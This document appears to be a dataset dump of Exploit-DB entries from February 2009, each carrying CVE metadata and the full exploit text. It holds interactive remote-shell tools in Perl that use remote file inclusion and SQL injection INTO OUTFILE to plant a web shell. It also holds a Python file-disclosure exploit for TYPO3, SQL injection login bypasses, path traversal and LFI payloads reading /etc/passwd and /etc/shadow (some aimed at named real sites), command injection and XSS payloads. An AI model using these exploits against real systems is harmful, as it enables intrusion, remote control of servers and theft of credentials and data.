QLWD/code_shield huggingface dataset:
标题: ea-gBook 0.1 - Remote Command Execution / Remote File Inclusion EDB-ID: 8052 CVE: 2009-5095 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-13 漏洞利用脚本: #!/usr/bin/perl
####################################################################
# ea-gBook 0.1 Remote Command Execution with RFI (c99) Exploit
# Vendor: http://ea-style.de/
# Download: http://ea-style.de/eddy/index.php?action=down_gbook_agb
#
# Author: bd0rk
# Contact: bd0rk[at]hackermail.com
# site: http://www.soh-crew.it.tt
# thanks Joss for the code.
#
####################################################################
#
#
# RFI vuln!: /ea-gBook/index_inc.php line 22
# include ($inc_ordner . "config.php");
#
####################################################################

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
 print "[x] ea-gBook 0.1 Remote Command Execution with RFI (c99) Exploit\n";
 print "[x] by bd0rk\n";
 print "[x] bd0rk[at]hackermail[dot]com\n\n";
 print "[+] Usage:\n";
 print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
 print "[+] eX: $0 -vuln \"http://www.someone.com/test/\" -shell \"http://someone.com/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

 print "[shell]:~\$ ";
 chomp($cmd=<STDIN>);

 if ($cmd eq "exit" || $cmd eq "quit") {
  exit 0;
 }

 my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/ea-gBook/index_inc.php?inc_ordner=" . $shell . $iny;
        chomp($own);
 my $req = HTTP::Request->new(GET => $own);
 my $res = $ua->request($req);
 my $con = $res->content;
 if ($res->is_success){
  print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
 }
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

#bd0rk

# milw0rm.com [2009-02-13] URL: https://www.exploit-db.com/exploits/8052
标题: Nokia N95-8 browser - 'setAttributeNode' Method Crash EDB-ID: 8051 CVE: 2009-0649 类型: DOS 平台: HARDWARE 发布日期: 2009-02-13 漏洞利用脚本: Application: Nokia N95-8
OS: Symbian
------------------------------------------------------
1 - Description
2 - Vulnerability
3 - POC/EXPLOIT

------------------------------------------------------
Description

The nokia n95 is a smartphone, this phone have more tools, for example: gps,mp3,camera,wireless.

 :) 

------------------------------------------------------
Vulnerability

The vulnerability is caused when the browser, opened a web with javaScript code. This cause that page crash.

The error is in the method "setAttributeNode", because the bad implement is the cause of bug.

------------------------------------------------------
POC/EXPLOIT

Enter in this url

http://es.geocities.com/jplopezy/nokiacrash2.html


or make html file and insert this code

<input type='checkbox' id='c'>
<script>
r=document.getElementById('c');
a=r.setAttributeNode();
</script>

------------------------------------------------------
Juan Pablo Lopez Yacubian 

# milw0rm.com [2009-02-13] URL: https://www.exploit-db.com/exploits/8051
标题: ProFTPd - 'mod_mysql' Authentication Bypass EDB-ID: 8037 CVE: 2009-0543 2009-0542 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-02-10 漏洞利用脚本: Just found out a problem with proftpd's sql authentication. The problem is easily reproducible if you login with username like:

USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; -- 

and a password of "1" (without quotes).

which leads to a successful login. Different account logins can be made successful using the limit clase (e.g appending "LIMIT 5,1" will make you login with as the 5th account in the users table).

As far as I can see in the mysql logs the query becomes:

SELECT userid, passwd, uid, gid, homedir, shell FROM users WHERE (userid='{UNKNOWN TAG}') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 1,1; -- ') LIMIT 1

I think the problem lies in the handling of the "%" character (probably that's some way to sanitize input to avoid format string things?).

Anyway, %' effectively makes the single quote unescaped and that eventually allows for an SQL injection during login.

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8037
标题: BlueBird Pre-Release - Authentication Bypass EDB-ID: 8035 CVE: 2009-0740 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-10 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Name           : BlueBird Pre-Release
Download       : http://downloads.sourceforge.net/bluebird/bluebird_pre.zip
Vulnerability  : Auth Bypass
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
if ( $request == "POST" )
{
 $username = $_POST['username'];
 $passwd = $_POST['passwd'];
 
 // Call mysql class
 $db = new db;
 $db->connect();
 $sql = "SELECT * FROM bluebird_users WHERE username='$username' &&
password='$passwd' ";
 $check_query = $db->query($sql);
 $row = mysql_numrows($check_query);
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8035
标题: GeoVision Digital Video Surveillance System 8.2 - Arbitrary File Disclosure EDB-ID: 8041 CVE: 2009-5087 类型: REMOTE 平台: WINDOWS 发布日期: 2009-02-11 漏洞利用脚本: Hi.
There is a Directory traversal vulnerability in Geovision Digital Video Surveillance
System (geohttpserver)version 8.2.

POC:
http://remotehost/../../../../../../windows/system32/whatever.something

PATCH:
Vendor has published the new version (8.3)


Regards,
Dejan Levaja 
NSS d.o.o.
dejan[dot]levaja[at]netsec[dot]rs

# milw0rm.com [2009-02-11] URL: https://www.exploit-db.com/exploits/8041
标题: Thyme 1.3 - 'export_to' Local File Inclusion EDB-ID: 8029 CVE: 2009-0535 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-10 漏洞利用脚本: [*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Theme Local File Inclusion / (Register_globals: off) |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Version: <= 1.3 |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Dork: Thyme 1. Â© 2006 eXtrovert Software LLC. All rights reserved |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Founded by: cheverok[at]gmail.com |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]

--------------------------------------------------------------------------------------
  Intro:

See info

  http://host/patch/phpinfo.php
   
   
if register_globals Off, then

---------------------------------------------------------------------------------------
  Exploit:
   
  http://host/patch/modules/sync/export.php?export_to=../../../../../../../../../../../etc/passwd%00


---------------------------------------------------------------------------------------
  Example:


  http://www.cbpool.org/thyme/modules/sync/export.php?export_to=../../../../../../../../../../../etc/shadow%00

----------------------------------------------------------------------------------------
(c) cheverok, 10.2.2009 greetz to antichat  

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8029
标题: Mynews 0.10 - Authentication Bypass EDB-ID: 8034 CVE: 2009-0739 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-10 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Name           : Mynews 0_10
Download       :
http://prdownloads.sourceforge.net/mynews/mynews_beta_0_10.zip?download
Vulnerability  : Auth Bypass
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
if ( $request == "POST" )
{
 $username = $_POST['username'];
 $passwd = $_POST['passwd'];
 
 // Call mysql class
 $db = new db;
 $db->info['sql_host']  = $conf['sql_host'];
 $db->info['sql_user']  = $conf['sql_user'];
 $db->info['sql_pass']  = $conf['sql_pass'];
 $db->info['sql_db']  = $conf['sql_db'];
 $db->connect();
 $sql = "SELECT * FROM users WHERE username='$username' &&
password='$passwd' ";
 $check_query = $db->query($sql);
 $row = mysql_numrows($check_query);
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8034
标题: Potato News 1.0.0 - Local File Inclusion EDB-ID: 8032 CVE: 2009-0722 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-10 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Name           : Potato News 1.0.0
Download       :
http://potato-news.googlecode.com/files/potatonews-1.0.0.zip
Vulnerability  : LFI
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
 <?PHP
if (isset($_COOKIE["user"])) {
$id = $_COOKIE["user"];
if (file_exists("data/users/$id.php")) {
include ("data/users/$id.php");
if ($usaavatar == "") {
echo "<img height='75px' width='75px' src='images/noav.jpg'/>";

} else {
echo "<img height='75px' width='75px' src='$usaavatar'/>";
}
}
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: javascript:document.cookie =
"user=../../../../../../../../../../etc/passwd%00; path=/"

########################################################################################

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8032
标题: Gaeste 1.6 - 'gastbuch.php' Remote File Disclosure EDB-ID: 8027 CVE: 2009-5093 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
               +                                                                +
               + Gaeste 1.6 (gastbuch.php) Remote File Disclosure Vulnerability +
               +                                                                +
               +                     bd0rk || SOH-Crew                          +
               +                                                                +
               ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



=> Vendor: http://www.php4scripte.de/

=> Download: http://www.php4scripte.de/download/gastbuchxhtml16.zip

=> Bugfound3R: bd0rk

=> Greetz: str0ke, TheJT, TheAJ, kretzi, DarkFig, Perforin ;-)

=> Vulnerable Code in gastbuch.php line 2-3

        -------------------------------
                              
           if (isset($_GET['start'])) {
           $start=$_GET['start'];

        -------------------------------


[+]XPL0iT: http://[t4rg3t]/[gaestepath]/gastbuch.php?start=../../TARGETFILE.php


                  ###The 20 years old, german Hacker bd0rk###

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8027
标题: AuthPhp 1.0 - Authentication Bypass EDB-ID: 8033 CVE: 2009-0738 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-10 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Name           : AuthPhp 1.0
Download       :
http://frankmancuso.ca/downloads/authphp/authphp-stable-1.0.zip
Vulnerability  : Auth Bypass
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
{
 $username = $_POST['username'];
 $passwd = $_POST['passwd'];
 
 // Call mysql class
 $db = new db;
 $db->connect();
 $sql = "SELECT * FROM users WHERE username='$username' &&
password='$passwd' ";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8033
标题: Papoo CMS 3.x - 'pfadhier' Local File Inclusion EDB-ID: 8030 CVE: 2009-0735 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-10 漏洞利用脚本: #########################################################################################################
[+] Papoo CMS 3.6 Local File Inclusion
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
[+] www.hellzone.info
#########################################################################################################

[+] Script Homepage : http://www.papoo-cms.com/

[+] Local File Inclusion

- PoC :

    http://127.0.0.1/[path]/lib/classes/message_class.php?pfadhier=[Local
File]%00

- Example :

     http://127.0.0.1/path/lib/classes/message_class.php?pfadhier=../../../../../../boot.ini%00

- Live Demo

     http://www.papoo-cms.com/lib/classes/message_class.php?pfadhier=../../../../../../etc/passwd%00

#########################################################################################################

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8030
标题: TYPO3 < 4.0.12/4.1.10/4.2.6 - 'jumpUrl' Remote File Disclosure EDB-ID: 8038 CVE: 2009-0815 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-10 漏洞利用脚本: #!/usr/bin/env python
#
# ------------------------------------------------------------------------------
# TYPO3-SA-2009-002 exploit by Lolek of TK53 <lolek1337 _at_ gmail.com>
# date: 2009/02/10
# vendor url: http://typo3.org
# vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12
# usage:
#       typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php)
#
# if people fixed their installations but did not update the typo3 security key
# you should be able to precompute the hashes if you previously got the security key.
#
# greetings to milw0rm, roflek

import urllib,re,sys

strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*')

def useme():
    print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)'
    sys.exit(0)

def parsehash(host, f):
    file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:'})
    url = host + '/index.php?' + file
    try:
        s = urllib.urlopen(url)
        r = s.read()
    except Exception, e:
        print '[!] - ', str(e)
        return None

    tmp = strip.match(r)
    if tmp:
        return tmp.group(1)
    else:
        return None

def content(host, hash, f):
    file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:', 'juHash' : hash})
    url = host + '/index.php?' + file
    try:
        s = urllib.urlopen(url)
        print '[+] - content of:', f
        print s.read()
    except:
        print '[!] - FAIL'

def main():
    if len(sys.argv) < 2:
        useme()

    if len(sys.argv) < 3:
        file = 'typo3conf/localconf.php'
    else:
        file = sys.argv[2]

    print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53'
    print '[+] - checking typo3 installation on...'

    hash = parsehash(sys.argv[1], file)

    if not hash:
        print '[!] - version already fixed or 42 went wrong while trying to get the hash'
        sys.exit(234)

    content(sys.argv[1], hash, file)


if __name__ == '__main__':
    main()

# milw0rm.com [2009-02-10] URL: https://www.exploit-db.com/exploits/8038
标题: ZeroShell 1.0beta11 - Remote Code Execution EDB-ID: 8023 CVE: 2009-0545 类型: REMOTE 平台: HARDWARE 发布日期: 2009-02-09 漏洞利用脚本: ==================================================== 
ZeroShell <= 1.0beta11 Remote Code Execution

Original Advisory: 
http://www.ikkisoft.com/stuff/LC-2009-01.txt

luca.carettoni[at]ikkisoft[dot]com
==================================================== 


ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution 
for servers and embedded devices. This Linux distro can be configured 
and managed with an easy to use web console.

ZeroShell is prone to an arbitrary code execution vulnerability due to
an improper input validation mechanism. An aggressor may abuse this 
weakness in order to compromise the entire system. 
Authentication is not required in order to exploit this flaw.

[Proof of Concept]
  
/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22
  
In addition to the Unix commands, it is possible to abuse the 
ZeroShell scripts themself. For instance it is likely to use the 
"getkey" script in order to retrieve remote files, including the content
in the html page.
  
{HTTP REQUEST}
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
Host: <IP>

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8023
标题: AdaptCMS Lite 1.4 - Cross-Site Scripting / Remote File Inclusion EDB-ID: 8016 CVE: 2009-0527 2009-0526 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: # AdaptCMS Lite 1,4 Multiple Vulnes ( Remote File Include ,  Remote XSS )

# Free Download : http://213.203.218.125/a/ad/adaptcms/AdaptCMS_Lite_1.4.zip

# Or : http://www.adaptcms.com/

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote File Include :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/plugins/rss_importer_functions.php?sitepath=http://www.sec-code.com/c99.txt?

# Exploit [2]:

- Remote XSS :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/index.php?view=redirect&url=javascript:alert(413528022209)

Cross Site Scripting in URI :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/index.php?acuparam=>'><ScRiPt>alert(435038069432)</ScRiPt>

Cross Site Scripting in path :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/?=>"'><ScRiPt>alert(438948070551)</ScRiPt>

# Solutions :

Contact With Me I Will Declear All This Fucking Functions

# rXh

# bEST wISHES

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8016
标题: webframe 0.76 - Multiple File Inclusions EDB-ID: 8025 CVE: 2009-0514 2009-0513 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: -----------------[-Rfi/Lfi-]-----------------

script:webframe 0.76
   
------------------------------------------------------------------
download from:http://downloads.sourceforge.net/phpwebframe/webframe-0.76-src.tar.gz?modtime=1155546760&big_mirror=0
   
------------------------------------------------------------------

........................................................
vul1: /mod/admin/doc/index.php line 3;

 include_once "$classFiles/xml.php";
==============================================
vul2:/mod/index.php line 5,7,9,11,13;

include_once "$classFiles/table.php";
//html class
include_once "$classFiles/html.php"; 
//Database class
include_once "$classFiles/mysql.php";
//Form class
include_once "$classFiles/form.php";
//Language file
include "../$currentmod/lang/$LANG.php"; ----> = lfi
============================================================
vul3: /mod/base/menu.php line 17;

  include_once "$classFiles/mysql.php
============================================================
-----------------------------------------------------

xpl rfi:

http://127.0..0.1/path/mod/admin/doc/index.php?classFiles=[shell.txt?]

http://127.0.0.1/path/mod/index.php?classFiles=[shell.txt?]

http://127.0.0..1/path/mod/base/menu.php?classFiles=[shell.txt?]

xpl lfi:

http://127.0.0.1/path/mod/index.php?currentmod=[Lfi]

http://127.0.0.1/path/mod/index.php?LANG=[Lfi]

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8025
标题: Yet Another NOCC 0.1.0 - Local File Inclusion EDB-ID: 8020 CVE: 2009-0515 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: Yet Another NOCC 0.1.0 <= Local File Inclusion Vulnerabilities

YANOCC is a simple and fast webmail client which can handle POP3, SMTP, and IMAP servers. 
YANOCC is based on NOCC's code and is written with PHP4. It features multi-language support, 
MIME attachments, displays HTML messages, address book, folder support.

Author: Kacper
HomePage: http://devilteam.pl/
          http://polskihacking.pl/

in file check_lang.php:

if (!ISSET($lang))
{
 $ar_lang = explode(",", $HTTP_ACCEPT_LANGUAGE);
 while ($accept_lang = array_shift($ar_lang))
 {
  $tmp = explode(";", $accept_lang);
  $tmp[0] = strtolower($tmp[0]);
  if (file_exists("lang/".$tmp[0].".php"))
  {
   $lang = $tmp[0];
   break;
  }
 }
 if ($lang == "")
  $lang = $default_lang;
}
//  Fix for faulty PHP install (RH7, see bug #24933)
$lang = trim($lang);
require ("lang/".$lang.".php");

Vuln example:

check_lang.php?lang=../[localinclude]%00


# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8020
标题: PHP Director 0.21 - Remote Command Execution EDB-ID: 8014 CVE: 2009-0604 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: --+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub clear
{
 my $out = $_ [0];
 $out =~ s/.+?xx//;
 $out =~ s/xx.+//;
 return $out;
}

sub usage
{
 print   "\nPHP Director <= 0.21 Remote Command Execution Exploit".
  "\n[+] Author: darkjoker".
  "\n[+] Site  : http://darkjoker.net23.net".
  "\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=1181090906&big_mirror=0".
  "\n[+] Usage   : perl ${0} <hostname> <cms path> <shell destination>".
  "\n[+] Ex.     : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector".
  "\n[+] Notes   : <shell destination> must be the same directory where CMS is hosted".
  "\n\n";
 exit ();
}

sub send_shell
{
 my ($host, $path, $disc_path) = @_;
 my $sock = new IO::Socket::INET (
  PeerHost => $host,
  PeerPort => 80,
  Proto    => "tcp",
 ) or die "[-] Exploit failed.\n";
 my $sql_code = "searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); ".
      "?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO ".
      "OUTFILE '${disc_path}/shell.php' FROM pp_files#";
 my $post = "POST ${path}/index.php HTTP/1.1\r\n".
  "Host: ${host}\r\n".
  "Connection: Close\r\n".
  "Content-Length: ". length ($sql_code) . "\r\n".
  "Content-Type: application/x-www-form-urlencoded\r\n\r\n".
  $sql_code;
 print $sock $post;
 close ($sock);
}

my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = "../"x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print "Delete this shell after use.\n'quit' command to exit\n\n";
my $cmd;
while (1)
{
 print "backdoor\@${host}: \$ ";
 $cmd = <STDIN>;
 chomp $cmd;
 $cmd =~ s/ /%20/g;
 exit if ($cmd =~ /quit/);
 my $sock = new IO::Socket::INET (
  PeerHost => $host,
  PeerPort => 80,
  Proto    => "tcp",
 );
 my $get = "GET ${path}/shell.php?cmd=${cmd}\r\n\r\n";
 print $sock $get;
 my $x;
 $x .= $_ while (<$sock>);
 $x = clear ($x);
 print $x;
 close ($sock);
}

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8014